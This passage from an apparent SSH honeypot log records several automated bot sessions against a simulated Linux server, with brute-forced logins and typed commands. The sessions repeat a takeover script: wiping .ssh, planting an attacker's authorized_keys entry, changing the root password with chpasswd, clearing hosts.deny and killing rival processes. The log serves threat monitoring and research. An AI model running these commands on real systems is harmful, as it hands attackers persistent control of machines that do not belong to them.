GNU/Linux"},{"seq":27,"at":"2026-08-26T11:11:53.110250+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:11:53.851201+00:00","kind":"output","latency_ms":null,"data":"dev"},{"seq":29,"at":"2026-08-26T11:11:54.440060+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:11:55.455322+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:11:56.399151+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:11:57.803135+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dev","password":"dev11","method":"password","accepted":true,"tier":"other"}]} {"id":"95d11690-8d19-4baf-9bb2-ed5ef8f8d998","name":"jolly-idle-wren","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":52964,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:11:29.648623+00:00","ended_at":"2026-08-26T11:12:29.656829+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"4a8c4be2-9d66-4348-adcb-f85394082072","name":"spirited-nautical-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":48556,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:11:21.636239+00:00","ended_at":"2026-08-26T11:12:21.638726+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"015fe738-86d0-4600-8fc1-ce1862f46dff","name":"sullen-rugged-raven","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":46886,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":585,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:07:25.095860+00:00","ended_at":"2026-08-26T11:07:25.894192+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2291,"events":[{"seq":1,"at":"2026-08-26T11:06:59.238558+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:06:59.826030+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:07:13.316803+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:07:13.317411+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:07:13.903067+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IdhKF6BIa3ES\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:07:14.486530+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:07:15.468098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:07:15.468725+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:07:16.451126+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:07:16.923379+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:07:17.511399+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:07:18.223440+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:07:18.812275+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:07:18.812776+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:07:19.397881+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:07:19.398731+00:00","kind":"output","latency_ms":null,"data":" 11:07:19 up 6 days, 7:57, 0 user, load average: 0.17, 0.19, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:07:19.985032+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:07:19.985886+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:07:20.980660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:07:20.983618+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:07:21.557026+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:07:21.558025+00:00","kind":"output","latency_ms":null,"data":"top - 11:07:21 up 6 days, 7:57, 0 user, load average: 0.17, 0.19, 0.2\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:07:22.144011+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:07:22.144869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:07:22.728278+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:07:22.728790+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:07:23.315095+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:07:23.315816+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:07:23.903629+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:07:24.512223+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:07:25.096660+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:07:25.709100+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Adm1n","method":"password","accepted":true,"tier":"other"}]} {"id":"428f5f89-0c64-49a8-8d5f-a21bba27fb95","name":"courtly-sandy-skylark","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":58906,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:07:11.242724+00:00","ended_at":"2026-08-26T11:07:13.134588+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b2ed174e-26a6-473d-99a3-650cbcb1600e","name":"polar-cheerful-cougar","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":40768,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:07:02.265206+00:00","ended_at":"2026-08-26T11:07:08.794610+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"79db8206-616c-4adf-b4c2-57332374ccf1","name":"pristine-freckled-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":33232,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":604,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:02:52.624467+00:00","ended_at":"2026-08-26T11:02:53.299019+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2280,"events":[{"seq":1,"at":"2026-08-26T11:02:34.705727+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:02:35.308566+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:02:41.408429+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:02:41.408770+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:02:42.012513+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HfygvfGeWXod\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:02:42.614408+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:02:43.217032+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:02:43.217516+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:02:43.823085+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:02:44.641284+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:02:45.249515+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:02:46.032751+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:02:46.639169+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:02:46.639944+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:02:47.247918+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:02:47.248544+00:00","kind":"output","latency_ms":null,"data":" 11:02:47 up 6 days, 7:52, 0 user, load average: 0.14, 0.12, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:02:47.849287+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:02:47.849851+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:02:48.452256+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:02:48.452731+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:02:49.057729+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:02:49.058157+00:00","kind":"output","latency_ms":null,"data":"top - 11:02:49 up 6 days, 7:52, 0 user, load average: 0.14, 0.12, 0.1\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:02:49.662222+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:02:49.662653+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:02:50.268085+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:02:50.270469+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:02:50.875040+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:02:50.875867+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:02:51.474281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:02:52.021575+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:02:52.625303+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:02:53.107387+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123qweASDZXC","method":"password","accepted":true,"tier":"other"}]} {"id":"3e11718a-4da8-4977-80fe-20d992f7ed63","name":"icy-upland-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":60224,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:02:39.676937+00:00","ended_at":"2026-08-26T11:02:41.218700+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4a751598-f314-48a6-b8a2-3a87f0ef7bed","name":"blunt-hearty-quokka","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":33236,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:02:36.667302+00:00","ended_at":"2026-08-26T11:02:37.951847+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2209e763-b06f-4052-9b42-0b8af50d2e1a","name":"valiant-sincere-alpaca","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":56898,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:58:11.898743+00:00","ended_at":"2026-08-26T10:58:19.519613+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"0582e41e-a6e7-44ff-a77a-c270af0429d1","name":"diligent-bold-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":40602,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":617,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:54:26.556075+00:00","ended_at":"2026-08-26T10:54:27.999283+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2271,"events":[{"seq":1,"at":"2026-08-26T10:53:54.219109+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:53:54.833447+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:54:05.612466+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:54:05.613364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:54:06.226016+00:00","kind":"input","latency_ms":null,"data":"echo \"root:SJ8aKOJLseeZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:54:06.843139+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:54:07.819397+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:54:08.412406+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:54:09.431185+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:54:10.548399+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:54:11.165903+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:54:12.578180+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:54:13.194018+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:54:13.893639+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:54:14.507170+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:54:14.949998+00:00","kind":"output","latency_ms":null,"data":" 10:54:14 up 6 days, 7:44, 0 user, load average: 0.08, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:54:15.565937+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:54:16.035792+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:54:16.650448+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:54:17.376381+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:54:17.990260+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:54:18.522096+00:00","kind":"output","latency_ms":null,"data":"top - 10:54:18 up 6 days, 7:44, 0 user, load average: 0.08, 0.08, 0.08\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:54:19.139709+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:54:19.990335+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:54:21.420319+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:54:21.743948+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:54:22.721922+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:54:23.601052+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:54:24.578544+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:54:25.937677+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:54:26.556722+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:54:27.804852+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwert1234","method":"password","accepted":true,"tier":"other"}]} {"id":"ed00542c-293e-46df-b5a8-9a0f2f7fdd6a","name":"gnarled-fringed-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":40634,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:53:57.592183+00:00","ended_at":"2026-08-26T10:54:57.597677+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"764e00f0-7064-4ad3-810f-1e52227f0044","name":"gnarled-twilight-mallard","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":40618,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:53:56.214666+00:00","ended_at":"2026-08-26T10:53:57.409437+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"01c754e0-3b90-438c-bada-aba809ae3f87","name":"flinty-alpine-loris","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":41778,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":589,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:50:02.070375+00:00","ended_at":"2026-08-26T10:50:02.781088+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-26T10:49:30.671286+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:49:32.084297+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:49:48.861405+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:49:48.862072+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:49:50.254022+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JZDNAPRdvYut\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:49:50.841109+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:49:51.829392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:49:51.831289+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:49:52.416226+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:49:52.895424+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:49:53.839734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:49:54.341361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:49:55.331709+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:49:55.332480+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 